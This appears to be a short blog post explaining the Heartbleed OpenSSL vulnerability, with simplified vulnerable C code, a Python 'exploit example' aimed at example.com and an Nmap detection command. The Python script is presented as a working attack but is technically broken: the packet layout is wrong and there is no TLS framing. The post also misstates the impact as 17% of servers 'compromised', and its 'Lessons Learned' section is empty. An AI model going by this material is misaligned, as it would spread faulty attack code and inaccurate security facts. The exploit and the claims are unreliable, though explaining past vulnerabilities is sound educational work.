← Writing
CVE

CVE-2014-0160 (Heartbleed)

Sep 8, 2024 · 3 min read

Understanding Heartbleed: A Technical Breakdown

Heartbleed was a flaw in the heartbeat extension of OpenSSL, a widely used library that provides SSL/TLS encryption. The vulnerability was introduced in OpenSSL version 1.0.1 and persisted until version 1.0.1g. The issue stemmed from improper input validation, allowing an attacker to read arbitrary chunks of server memory, up to 64KB per request.

Heartbeat Extension Basics

To maintain secure connections, OpenSSL’s heartbeat mechanism allows clients and servers to verify each other’s presence by sending and receiving “heartbeat” messages. Here’s how the message exchange is supposed to work:

  1. A client sends a heartbeat request containing a payload and specifies the payload length.
  2. The server echoes the payload back to the client to confirm the connection is still alive.

The vulnerability occurs because the server trusts the client-supplied payload length without verifying it against the actual payload size, leading to memory leaks.

Simplified Vulnerable Code

int tls1_process_heartbeat(SSL *s) {
  unsigned char *p = &s->s3->rrec.data[0];
  unsigned short payload;
  unsigned char *buffer, *bp;
  payload = (p[0] << 8) | p[1];
  buffer = OPENSSL_malloc(1 + 2 + payload + 16);
  bp = buffer;
  *bp++ = TLS1_HB_RESPONSE;
  memcpy(bp, p, payload); // Vulnerable
  ssl3_write_bytes(s, TLS1_RT_HEARTBEAT, buffer, 3 + payload);
  OPENSSL_free(buffer);
}

How Heartbleed Works

An attacker can exploit this vulnerability by sending a malicious heartbeat request where the payload length is intentionally larger than the actual payload.

Exploit Example in Python

import socket
import struct
def create_heartbeat_request():
  hb_type = 1
  payload = b"Hi"
  payload_length = 0xFFFF
  return struct.pack(">BHH", hb_type, len(payload), payload_length) + payload
def send_heartbeat_request(host, port):
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.connect((host, port))
  s.send(create_heartbeat_request())
  response = s.recv(65535)
  print("Leaked memory:", response)
send_heartbeat_request("example.com", 443)

Global Chaos and Real-World Impact

The Heartbleed vulnerability affected a significant portion of the internet, with estimates suggesting that 17% of all secure web servers were compromised. Major companies were forced to take immediate action to patch their systems.

Detecting Heartbleed

Security tools like Nmap can be used to detect Heartbleed vulnerabilities. Use the following command:

nmap -p 443 --script ssl-heartbleed example.com

Lessons Learned

← All writing